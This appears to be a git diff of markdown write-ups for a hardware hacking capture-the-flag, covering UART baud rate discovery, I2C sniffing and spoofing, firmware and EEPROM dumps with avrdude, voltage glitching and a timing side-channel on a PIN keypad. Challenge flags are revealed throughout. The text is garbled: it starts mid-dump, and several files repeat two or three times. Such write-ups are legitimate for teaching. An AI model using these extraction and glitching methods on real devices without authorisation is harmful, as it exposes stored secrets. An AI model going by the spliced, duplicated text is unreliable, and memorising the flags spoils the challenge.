+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
